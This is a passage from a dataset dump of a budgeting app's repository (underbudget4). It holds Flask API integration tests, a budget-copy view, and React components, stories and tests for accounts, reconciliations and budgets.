self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n account_id = self.create_account(category_id)\n assert self.client.get(f\"/api/accounts/{account_id}\").status_code == 200\n assert self.client.delete(f\"/api/accounts/{account_id}\").status_code == 204\n assert self.client.get(f\"/api/accounts/{account_id}\").status_code == 404\n\n def test_fetch_all_account_categories(self):\n ledger_id = self.create_ledger()\n cat1_id = self.create_account_category(ledger_id, \"Category 1\")\n cat2_id = self.create_account_category(ledger_id, \"Category 2\")\n cat3_id = self.create_account_category(ledger_id, \"Category 3\")\n acct1_id = self.create_account(cat2_id, \"Account 1\")\n acct2_id = self.create_account(cat1_id, \"Account 2\")\n acct3_id = self.create_account(cat2_id, \"Account 3\")\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/account-categories\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n\n assert [cat1_id, cat2_id, cat3_id] == [\n m.value for m in parse(\"categories[*].id\").find(body)\n ]\n assert [\"Category 1\", \"Category 2\", \"Category 3\"] == [\n m.value for m in parse(\"categories[*].name\").find(body)\n ]\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 1\"\n assert len(sub[0].value.get(\"accounts\")) == 1\n assert sub[0].value.get(\"accounts\")[0].get(\"id\") == acct2_id\n assert sub[0].value.get(\"accounts\")[0].get(\"name\") == \"Account 2\"\n assert not sub[0].value.get(\"accounts\")[0].get(\"archived\")\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 2\"\n assert len(sub[0].value.get(\"accounts\")) == 2\n\n acct = parse(f\"$.accounts[?id={acct1_id}]\").find(sub[0].value)\n assert acct is not None and len(acct) == 1\n assert acct[0].value.get(\"id\") == acct1_id\n assert acct[0].value.get(\"name\") == \"Account 1\"\n assert not acct[0].value.get(\"archived\")\n\n acct = parse(f\"$.accounts[?id={acct3_id}]\").find(sub[0].value)\n assert acct is not None and len(acct) == 1\n assert acct[0].value.get(\"id\") == acct3_id\n assert acct[0].value.get(\"name\") == \"Account 3\"\n assert not acct[0].value.get(\"archived\")\n\n sub = parse(f\"$.categories[?id={cat3_id}]\").find(body)\n assert sub is not None and len(sub) == 1\n assert sub[0].value.get(\"name\") == \"Category 3\"\n assert len(sub[0].value.get(\"accounts\")) == 0\n\n def test_move_account_to_category(self):\n ledger_id = self.create_ledger()\n ledger2_id = self.create_ledger()\n cat1_id = self.create_account_category(ledger_id)\n cat2_id = self.create_account_category(ledger_id)\n cat3_id = self.create_account_category(ledger2_id)\n acct_id = self.create_account(cat1_id)\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/account-categories\")\n assert resp.status_code == 200\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"accounts\")) == 1\n assert sub[0].value.get(\"accounts\")[0].get(\"id\") == acct_id\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"accounts\")) == 0\n\n resp = self.client.put(\n f\"/api/accounts/{acct_id}\",\n json={\"categoryId\": cat3_id, \"name\": \"Account\"},\n )\n assert resp.status_code == 400\n\n resp = self.client.put(\n f\"/api/accounts/{acct_id}\",\n json={\"categoryId\": cat2_id, \"name\": \"Account\"},\n )\n assert resp.status_code == 200\n\n resp = self.client.get(f\"/api/ledgers/{ledger_id}/account-categories\")\n assert resp.status_code == 200\n\n sub = parse(f\"$.categories[?id={cat1_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"accounts\")) == 0\n\n sub = parse(f\"$.categories[?id={cat2_id}]\").find(resp.json)\n assert sub is not None and len(sub) == 1\n assert len(sub[0].value.get(\"accounts\")) == 1\n assert sub[0].value.get(\"accounts\")[0].get(\"id\") == acct_id\n\n def test_account_category_deletion_fails_with_child_accounts(self):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n account_id = self.create_account(category_id)\n\n assert (\n self.client.delete(f\"/api/account-categories/{category_id}\").status_code\n == 409\n )\n assert self.client.get(f\"/api/accounts/{account_id}\").status_code == 200\n\n def test_ledger_deletion_cascades_to_account_categories(self):\n ledger_id = self.create_ledger()\n category_id = self.create_account_category(ledger_id)\n account_id = self.create_account(category_id)\n\n assert (\n self.client.get(f\"/api/account-categories/{category_id}\").status_code == 200\n )\n assert self.client.get(f\"/api/accounts/{account_id}\").status_code == 200\n assert self.client.delete(f\"/api/ledgers/{ledger_id}\").status_code == 204\n assert (\n self.client.get(f\"/api/account-categories/{category_id}\").status_code == 404\n )\n assert self.client.get(f\"/api/accounts/{account_id}\").status_code == 404\n" }, { "alpha_fraction": 0.6904761791229248, "alphanum_fraction": 0.6904761791229248, "avg_line_length": 41, "blob_id": "ca095df9cfda9a6e55be845ffede568beec4e15a", "content_id": "4794e12295e006eddd1c24999ad42fd0e95f9fd4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 42, "license_type": "permissive", "max_line_length": 41, "num_lines": 1, "path": "/webapp/src/common/components/MemoryRouter/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './MemoryRouter';\n" }, { "alpha_fraction": 0.6333215832710266, "alphanum_fraction": 0.6364917159080505, "avg_line_length": 30.19780158996582, "blob_id": "95edeaad2cbaa117b272d027e92a232d2c2d224a", "content_id": "10632748116dbf8b7bf32b370a001b0770b378f8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2839, "license_type": "permissive", "max_line_length": 63, "num_lines": 91, "path": "/backend/underbudget/views/budget_generators.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" REST views to generate budgets \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict\nfrom flask import Flask\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget.common.decorators import use_args\nfrom underbudget.database import db\nfrom underbudget.models.budget import (\n BudgetAnnualExpenseModel,\n BudgetAnnualExpenseDetailModel,\n BudgetModel,\n BudgetPeriodicExpenseModel,\n BudgetPeriodicIncomeModel,\n)\nfrom underbudget.models.ledger import LedgerModel\nimport underbudget.schemas.budget as schema\n\ncopy_schema = schema.CopyBudgetSchema()\n\n\ndef register(app: Flask):\n \"\"\" Registers all views \"\"\"\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/budgets/copy\",\n view_func=create_budget_copy,\n methods=[\"POST\"],\n )\n\n\n@use_args(copy_schema)\ndef create_budget_copy(args: Dict[str, Any], ledger_id: int):\n \"\"\" Creates a budget as a copy of another budget \"\"\"\n\n LedgerModel.query.get_or_404(ledger_id)\n orig_budget = BudgetModel.query.get_or_404(args[\"orig_id\"])\n if ledger_id != orig_budget.ledger_id:\n raise BadRequest(\"Budget is from different ledger\")\n\n now = datetime.now()\n new_budget = BudgetModel(\n ledger_id=ledger_id,\n name=f\"Copy of {orig_budget.name}\",\n periods=orig_budget.periods,\n created=now,\n last_updated=now,\n )\n db.session.add(new_budget)\n\n for orig_income in orig_budget.periodic_incomes:\n new_income = BudgetPeriodicIncomeModel(\n budget_id=new_budget.id,\n name=orig_income.name,\n amount=orig_income.amount,\n created=now,\n last_updated=now,\n )\n db.session.add(new_income)\n\n for orig_expense in orig_budget.periodic_expenses:\n new_expense = BudgetPeriodicExpenseModel(\n budget_id=new_budget.id,\n envelope_id=orig_expense.envelope_id,\n name=orig_expense.name,\n amount=orig_expense.amount,\n created=now,\n last_updated=now,\n )\n db.session.add(new_expense)\n\n for orig_expense in orig_budget.annual_expenses:\n new_expense = BudgetAnnualExpenseModel(\n budget_id=new_budget.id,\n envelope_id=orig_expense.envelope_id,\n name=orig_expense.name,\n amount=orig_expense.amount,\n created=now,\n last_updated=now,\n )\n for orig_detail in orig_expense.details:\n new_detail = BudgetAnnualExpenseDetailModel(\n name=orig_detail.name,\n amount=orig_detail.amount,\n period=orig_detail.period,\n )\n db.session.add(new_detail)\n new_expense.details.append(new_detail)\n db.session.add(new_expense)\n\n db.session.commit()\n return {\"id\": int(new_budget.id)}, 201\n" }, { "alpha_fraction": 0.6428514719009399, "alphanum_fraction": 0.6894984245300293, "avg_line_length": 37.351680755615234, "blob_id": "1835ff4278246620fde5ba8d7429dfc267ea8389", "content_id": "fb8371f7577f49288434047d3ef9c4b345f4e551", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 12541, "license_type": "permissive", "max_line_length": 126, "num_lines": 327, "path": "/webapp/src/features/reconciliations/components/__tests__/CreateReconciliationForm.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport { transactionGenerator } from 'test/data-generators';\nimport setupMockApi from 'test/setupMockApi';\nimport CreateReconciliationForm from '../CreateReconciliationForm';\n\nconst lastReconciliation = {\n beginningBalance: 105000,\n beginningDate: '2021-10-04',\n endingBalance: 125503,\n endingDate: '2021-11-03',\n};\nconst clearedTransactionsUrl =\n '/api/account-transactions/search?accountId=9&recordedDate=lte:2021-12-03&reconciliationId=is:null&cleared=True&size=10000';\n\nconst render = (configureApi = () => 0) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n configureApi(mockApi);\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n staleTime: Infinity,\n },\n },\n });\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreateReconciliationForm accountId={9} parentRoute='/account/9' />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\nconst getParameterInputs = () => ({\n beginningBalance: screen.getByRole('textbox', { name: /beginning balance/i }),\n beginningDate: screen.getByRole('textbox', { name: /beginning date/i }),\n endingBalance: screen.getByRole('textbox', { name: /ending balance/i }),\n endingDate: screen.getByRole('textbox', { name: /ending date/i }),\n});\n\nconst getNextButton = () => screen.getByRole('button', { name: /^next$/i });\n\nconst getPagination = (getFn = screen.getByRole) => ({\n nextPage: getFn('button', { name: /next page/i }),\n prevPage: getFn('button', { name: /previous page/i }),\n});\nconst queryPagination = () => getPagination(screen.queryByRole);\n\nconst getRunningBalances = () => ({\n reconciledBalance: screen.getByRole('textbox', { name: /reconciled balance/i }),\n remainingBalance: screen.getByRole('textbox', { name: /remaining to be reconciled/i }),\n});\n\nconst getCreateButton = () => screen.getByRole('button', { name: /create/i });\n\nconst expectParamEntryStep = (params, nextButton) => {\n expect(params.beginningBalance).toBeEnabled();\n expect(params.beginningDate).toBeEnabled();\n expect(params.endingBalance).toBeEnabled();\n expect(params.endingDate).toBeEnabled();\n\n expect(nextButton).toBeEnabled();\n expect(nextButton).toHaveTextContent('Next');\n};\n\nconst expectTransactionSelectionStep = (params, nextButton) => {\n expect(params.beginningBalance).toBeDisabled();\n expect(params.beginningDate).toBeDisabled();\n expect(params.endingBalance).toBeDisabled();\n expect(params.endingDate).toBeDisabled();\n\n expect(nextButton).toBeEnabled();\n expect(nextButton).toHaveTextContent('Previous');\n};\n\ntest('should default to today and zero balance if no last reconciliation exists', async () => {\n const { mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations/last').reply(404);\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(3));\n\n const params = getParameterInputs();\n\n expectParamEntryStep(params, getNextButton());\n\n expect(params.beginningBalance).toHaveValue('$0.00');\n expect(params.beginningDate).toHaveValue('2021-06-24');\n expect(params.endingBalance).toHaveValue('$0.00');\n expect(params.endingDate).toHaveValue('2021-06-24');\n});\n\ntest('should use last reconciliation to pre-populate parameters', async () => {\n const { mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations/last').reply(200, lastReconciliation);\n api.onGet(clearedTransactionsUrl).reply(200, { transactions: [] });\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(3));\n\n const params = getParameterInputs();\n\n expectParamEntryStep(params, getNextButton());\n\n expect(params.beginningBalance).toHaveValue('$1,255.03');\n expect(params.beginningDate).toHaveValue('2021-11-04');\n expect(params.endingBalance).toHaveValue('$1,255.03');\n expect(params.endingDate).toHaveValue('2021-12-03');\n});\n\ntest('should use cleared transactions to pre-populate ending balance', async () => {\n const { history, mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations/last').reply(200, lastReconciliation);\n api.onGet(clearedTransactionsUrl).reply(200, {\n transactions: [\n { id: 3, amount: -5000 },\n { id: 2, amount: 7000 },\n ],\n });\n api.onGet('/api/accounts/9/unreconciled-transactions?page=1&size=25').reply(200, {\n total: 5,\n transactions: [\n { id: 1, recordedDate: '2021-11-07', payee: 'Vendor A', memo: '', amount: -1000 },\n { id: 2, recordedDate: '2021-11-11', payee: 'Vendor B', memo: '', amount: 7000 },\n { id: 3, recordedDate: '2021-11-17', payee: 'Vendor C', memo: '', amount: -5000 },\n { id: 4, recordedDate: '2021-11-20', payee: 'Vendor D', memo: '', amount: 1500 },\n { id: 5, recordedDate: '2021-11-27', payee: 'Vendor E', memo: '', amount: -2000 },\n ],\n });\n api.onPost('/api/accounts/9/reconciliations').reply(201);\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(3));\n\n const params = getParameterInputs();\n const nextButton = getNextButton();\n\n expectParamEntryStep(params, nextButton);\n\n expect(params.beginningBalance).toHaveValue('$1,255.03');\n expect(params.beginningDate).toHaveValue('2021-11-04');\n expect(params.endingBalance).toHaveValue('$1,275.03');\n expect(params.endingDate).toHaveValue('2021-12-03');\n\n userEvent.click(nextButton);\n await waitFor(() => expect(mockApi.history.get).toHaveLength(4));\n\n expectTransactionSelectionStep(params, nextButton);\n\n const checkboxes = screen.queryAllByRole('checkbox');\n expect(checkboxes).toHaveLength(11); // 2 per trn, 1 check-all\n\n expect(checkboxes[0]).not.toBeChecked(); // check-all\n expect(checkboxes[2]).not.toBeChecked(); // transaction #1\n expect(checkboxes[4]).toBeChecked(); // transaction #2\n expect(checkboxes[6]).toBeChecked(); // transaction #3\n expect(checkboxes[8]).not.toBeChecked(); // transaction #4\n expect(checkboxes[10]).not.toBeChecked(); // transaction #5\n\n const pagination = queryPagination();\n expect(pagination.nextPage).not.toBeInTheDocument();\n expect(pagination.prevPage).not.toBeInTheDocument();\n\n const balances = getRunningBalances();\n expect(balances.reconciledBalance).toHaveValue('$1,275.03');\n expect(balances.remainingBalance).toHaveValue('$0.00');\n\n const createButton = getCreateButton();\n expect(createButton).toBeEnabled();\n\n // Select a transaction\n userEvent.click(checkboxes[8]);\n await waitFor(() => expect(createButton).toBeDisabled());\n\n expect(balances.remainingBalance).toHaveValue('-$15.00');\n\n // Select all\n userEvent.click(checkboxes[0]);\n await waitFor(() => expect(balances.remainingBalance).toHaveValue('$15.00'));\n\n expect(checkboxes[0]).toBeChecked(); // check-all\n expect(checkboxes[2]).toBeChecked(); // transaction #1\n expect(checkboxes[4]).toBeChecked(); // transaction #2\n expect(checkboxes[6]).toBeChecked(); // transaction #3\n expect(checkboxes[8]).toBeChecked(); // transaction #4\n expect(checkboxes[10]).toBeChecked(); // transaction #5\n\n // Clear all selections\n userEvent.click(checkboxes[0]);\n await waitFor(() => expect(balances.remainingBalance).toHaveValue('$20.00'));\n\n expect(checkboxes[0]).not.toBeChecked(); // check-all\n expect(checkboxes[2]).not.toBeChecked(); // transaction #1\n expect(checkboxes[4]).not.toBeChecked(); // transaction #2\n expect(checkboxes[6]).not.toBeChecked(); // transaction #3\n expect(checkboxes[8]).not.toBeChecked(); // transaction #4\n expect(checkboxes[10]).not.toBeChecked(); // transaction #5\n\n // Select appropriate transactions\n userEvent.click(checkboxes[4]);\n userEvent.click(checkboxes[6]);\n await waitFor(() => expect(balances.remainingBalance).toHaveValue('$0.00'));\n\n expect(createButton).toBeEnabled();\n\n userEvent.click(createButton);\n await waitFor(() => expect(mockApi.history.post).toHaveLength(1));\n await waitFor(() => expect(history.location.pathname).toBe('/account/9'));\n\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({\n beginningBalance: 125503,\n beginningDate: '2021-11-04',\n endingBalance: 127503,\n endingDate: '2021-12-03',\n transactionIds: [2, 3],\n });\n});\n\ntest('should use user-entered parameters', async () => {\n const { history, mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations/last').reply(404);\n api.onGet(clearedTransactionsUrl).reply(200, { transactions: [] });\n api.onGet('/api/accounts/9/unreconciled-transactions?page=1&size=25').reply(200, {\n total: 5,\n transactions: [\n { id: 1, recordedDate: '2021-11-07', payee: 'Vendor A', memo: '', amount: -1000 },\n { id: 2, recordedDate: '2021-11-11', payee: 'Vendor B', memo: '', amount: 7000 },\n { id: 3, recordedDate: '2021-11-17', payee: 'Vendor C', memo: '', amount: -5000 },\n { id: 4, recordedDate: '2021-11-20', payee: 'Vendor D', memo: '', amount: 1500 },\n { id: 5, recordedDate: '2021-11-27', payee: 'Vendor E', memo: '', amount: -2000 },\n ],\n });\n api.onPost('/api/accounts/9/reconciliations').reply(201);\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(3));\n\n const params = getParameterInputs();\n\n expectParamEntryStep(params, getNextButton());\n\n expect(params.beginningBalance).toHaveValue('$0.00');\n expect(params.beginningDate).toHaveValue('2021-06-24');\n expect(params.endingBalance).toHaveValue('$0.00');\n expect(params.endingDate).toHaveValue('2021-06-24');\n\n fireEvent.change(params.beginningDate, { target: { value: '2021-11-01' } });\n fireEvent.change(params.endingDate, { target: { value: '2021-11-30' } });\n fireEvent.change(params.beginningBalance, { target: { value: '$100.00' } });\n fireEvent.change(params.endingBalance, { target: { value: '$160.00' } });\n\n await waitFor(() => expect(params.beginningBalance).toHaveValue('$100.00'));\n expect(params.beginningDate).toHaveValue('2021-11-01');\n expect(params.endingBalance).toHaveValue('$160.00');\n expect(params.endingDate).toHaveValue('2021-11-30');\n\n userEvent.click(getNextButton());\n await waitFor(() => expect(screen.queryAllByRole('checkbox')).toHaveLength(11));\n\n const balances = getRunningBalances();\n expect(balances.reconciledBalance).toHaveValue('$100.00');\n expect(balances.remainingBalance).toHaveValue('$60.00');\n\n const checkboxes = screen.queryAllByRole('checkbox');\n\n userEvent.click(checkboxes[1]);\n await waitFor(() => expect(balances.remainingBalance).toHaveValue('$70.00'));\n\n userEvent.click(checkboxes[3]);\n await waitFor(() => expect(balances.remainingBalance).toHaveValue('$0.00'));\n\n userEvent.click(getCreateButton());\n await waitFor(() => expect(mockApi.history.post).toHaveLength(1));\n await waitFor(() => expect(history.location.pathname).toBe('/account/9'));\n\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({\n beginningBalance: 10000,\n beginningDate: '2021-11-01',\n endingBalance: 16000,\n endingDate: '2021-11-30',\n transactionIds: [1, 2],\n });\n});\n\ntest('should paginate unreconciled transactions', async () => {\n const { mockApi } = render((api) => {\n api.onGet('/api/accounts/9/reconciliations/last').reply(404);\n api.onGet(clearedTransactionsUrl).reply(200, { transactions: [] });\n api.onGet('/api/accounts/9/unreconciled-transactions?page=1&size=25').reply(200, {\n total: 30,\n transactions: [...Array(25)].map(() => transactionGenerator()),\n });\n api.onGet('/api/accounts/9/unreconciled-transactions?page=2&size=25').reply(200, {\n total: 30,\n transactions: [...Array(5)].map(() => transactionGenerator()),\n });\n api.onPost('/api/accounts/9/reconciliations').reply(201);\n });\n\n await waitFor(() => expect(mockApi.history.get).toHaveLength(3));\n\n userEvent.click(getNextButton());\n await waitFor(() => expect(screen.queryAllByRole('checkbox')).toHaveLength(51));\n\n const pagination = getPagination();\n\n userEvent.click(pagination.nextPage);\n await waitFor(() => expect(screen.queryAllByRole('checkbox')).toHaveLength(11));\n\n userEvent.click(pagination.prevPage);\n await waitFor(() => expect(screen.queryAllByRole('checkbox')).toHaveLength(51));\n});\n" }, { "alpha_fraction": 0.6234482526779175, "alphanum_fraction": 0.6248275637626648, "avg_line_length": 24.89285659790039, "blob_id": "e99180d15fc1b252ab0f77549bd55007889dd768", "content_id": "dfb9b91a0522bde4915861e0b53f901781593ef7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1450, "license_type": "permissive", "max_line_length": 82, "num_lines": 56, "path": "/webapp/src/features/budgets/components/BudgetForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import FormControl from '@material-ui/core/FormControl';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport { Field } from 'formik';\nimport { Select, TextField } from 'formik-material-ui';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport { labels as periodLabels, values as periodValues } from '../utils/periods';\n\nconst BudgetForm = () => (\n <>\n <Field\n autoComplete='off'\n autoFocus\n component={TextField}\n fullWidth\n id='budget-name'\n label='Name'\n margin='normal'\n name='name'\n placeholder='My budget'\n required\n variant='outlined'\n />\n <FormControl fullWidth required variant='outlined'>\n <InputLabel id='periods-label'>Periods Per Year</InputLabel>\n <Field\n aria-label='periods per year'\n component={Select}\n id='periods'\n label='Periods Per Year'\n labelId='periods-label'\n name='periods'\n >\n {periodValues.map((period) => (\n <MenuItem key={period} value={period}>\n {periodLabels[period]}\n </MenuItem>\n ))}\n </Field>\n </FormControl>\n </>\n);\n\nBudgetForm.initialValues = {\n name: '',\n periods: 12,\n};\n\nBudgetForm.validationSchema = yup.object().shape({\n name: yup.string().required('Required'),\n periods: yup.number().oneOf(periodValues).required('Required'),\n});\n\nexport default BudgetForm;\n" }, { "alpha_fraction": 0.7450980544090271, "alphanum_fraction": 0.7450980544090271, "avg_line_length": 50, "blob_id": "9736443e631914174afabacf86a178673f9e3393", "content_id": "8d105f2283612719f9a603b7d3fbbab7f7cc4cbc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 51, "license_type": "permissive", "max_line_length": 50, "num_lines": 1, "path": "/webapp/src/common/components/FullScreenDialogTitle/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './FullScreenDialogTitle';\n" }, { "alpha_fraction": 0.7346938848495483, "alphanum_fraction": 0.7346938848495483, "avg_line_length": 48, "blob_id": "94df663309b727478e9a8893e69b44c0181c683e", "content_id": "429f9985dfb87e898b54ce1ab755cac8d16eb081", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 49, "license_type": "permissive", "max_line_length": 48, "num_lines": 1, "path": "/webapp/src/common/components/CheckboxWithTooltip/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './CheckboxWithTooltip';\n" }, { "alpha_fraction": 0.6219667792320251, "alphanum_fraction": 0.6219667792320251, "avg_line_length": 28, "blob_id": "53fa7707307afb91db53822247d3e5a18f28f633", "content_id": "d6132e756df255169f548ff1c9625208b3283518", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 783, "license_type": "permissive", "max_line_length": 69, "num_lines": 27, "path": "/webapp/src/features/envelopes/components/EnvelopesList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import LinearProgress from '@material-ui/core/LinearProgress';\nimport List from '@material-ui/core/List';\nimport Alert from '@material-ui/lab/Alert';\nimport React from 'react';\n\nimport useEnvelopes from '../hooks/useEnvelopes';\nimport EnvelopeCategoryListItem from './EnvelopeCategoryListItem';\n\nconst EnvelopesList = () => {\n const { categories, error, status } = useEnvelopes();\n\n return (\n <>\n {status === 'success' && (\n <List dense disablePadding>\n {categories.map((cat) => (\n <EnvelopeCategoryListItem category={cat} key={cat.id} />\n ))}\n </List>\n )}\n {status === 'loading' && <LinearProgress />}\n {status === 'error' && <Alert severity='error'>{error}</Alert>}\n </>\n );\n};\n\nexport default EnvelopesList;\n" }, { "alpha_fraction": 0.5203511714935303, "alphanum_fraction": 0.535514771938324, "avg_line_length": 20.237287521362305, "blob_id": "fd935c5cb594d2888ddf47df7249dce2180c61d9", "content_id": "ec71349c9b77d79d929940c9affd57043c5bd62d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1253, "license_type": "permissive", "max_line_length": 63, "num_lines": 59, "path": "/webapp/src/features/budgets/components/__stories__/AllBudgetsList.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport AllBudgetsList from '../AllBudgetsList';\n\nexport default {\n title: 'budgets/AllBudgetsList',\n component: AllBudgetsList,\n decorators: [\n (story) => {\n setSelectedLedger(2);\n return story();\n },\n ],\n};\n\nconst Template = () => <AllBudgetsList />;\n\nexport const FetchError = Template.bind({});\n\nexport const NoBudgets = Template.bind({});\nNoBudgets.parameters = {\n api: {\n get: [['/api/ledgers/2/budgets', { budgets: [] }]],\n },\n};\n\nexport const OneBudget = Template.bind({});\nOneBudget.parameters = {\n api: {\n get: [\n [\n '/api/ledgers/2/budgets',\n {\n budgets: [{ id: 7, name: 'My Budget', periods: 12 }],\n },\n ],\n ],\n },\n};\n\nexport const SeveralBudgets = Template.bind({});\nSeveralBudgets.parameters = {\n api: {\n get: [\n [\n '/api/ledgers/2/budgets',\n {\n budgets: [\n { id: 7, name: 'My Budget', periods: 12 },\n { id: 3, name: 'Old Budget', periods: 12 },\n { id: 8, name: 'Copy of My Budget', periods: 12 },\n { id: 9, name: 'Theoretical Budget', periods: 24 },\n ],\n },\n ],\n ],\n },\n};\n" }, { "alpha_fraction": 0.6934865713119507, "alphanum_fraction": 0.7049808502197266, "avg_line_length": 28, "blob_id": "5c66ddbcd6ac11eff3525c572adbc36a34314571", "content_id": "00f68dab64f88e4ca9073872729462b0e5be89ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "permissive", "max_line_length": 60, "num_lines": 9, "path": "/backend/underbudget/tests/test_health.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Integration tests for health API \"\"\"\nfrom underbudget.tests.base import BaseTestCase\n\n\nclass HealthTestCase(BaseTestCase):\n \"\"\" Integration tests for health API \"\"\"\n\n def test_health(self):\n assert self.client.get(\"/health\").status_code == 200\n" }, { "alpha_fraction": 0.673127293586731, "alphanum_fraction": 0.673127293586731, "avg_line_length": 32.49122619628906, "blob_id": "2db194d4624497f83571a0fa1e6dee2d77912aa0", "content_id": "29d7849fd54e9199654e8901f795f2b19fcfb541", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1909, "license_type": "permissive", "max_line_length": 99, "num_lines": 57, "path": "/webapp/src/features/budgets/components/ExpensesList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemSecondaryAction from '@material-ui/core/ListItemSecondaryAction';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\n\nconst ExpensesList = ({ expenses, onDelete, type }) => {\n const confirm = useConfirmation();\n const formatMoney = useFormatMoney();\n const navigate = useNavigateKeepingSearch();\n\n const handleDelete = (expense) =>\n confirm({\n message: [`Delete ${type} expense ${expense.name}?`],\n }).then(() => {\n onDelete(expense.id);\n });\n\n return (\n <List dense disablePadding>\n {expenses.map((expense) => (\n <ListItem button key={expense.id} onClick={() => navigate(`modify-${type}/${expense.id}`)}>\n <ListItemText\n primary={`${expense.envelope} - ${expense.name}`}\n secondary={formatMoney(expense.amount)}\n />\n <ListItemSecondaryAction>\n <IconButton aria-label='delete expense' onClick={() => handleDelete(expense)}>\n <DeleteIcon />\n </IconButton>\n </ListItemSecondaryAction>\n </ListItem>\n ))}\n </List>\n );\n};\n\nExpensesList.propTypes = {\n expenses: PropTypes.arrayOf(\n PropTypes.shape({\n id: PropTypes.number.isRequired,\n name: PropTypes.string.isRequired,\n amount: PropTypes.number.isRequired,\n }),\n ).isRequired,\n onDelete: PropTypes.func.isRequired,\n type: PropTypes.oneOf(['annual', 'periodic']).isRequired,\n};\n\nexport default ExpensesList;\n" }, { "alpha_fraction": 0.6051282286643982, "alphanum_fraction": 0.652036190032959, "avg_line_length": 31.660099029541016, "blob_id": "33027907cbb10f5d39d99315ddae893290fc73ff", "content_id": "209db738cc76926b3420ab0b2483f3bbe2b8aca6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6630, "license_type": "permissive", "max_line_length": 91, "num_lines": 203, "path": "/webapp/src/features/transactions/components/__tests__/TransactionDetailsList.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, screen, waitFor } from '@testing-library/react';\nimport axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 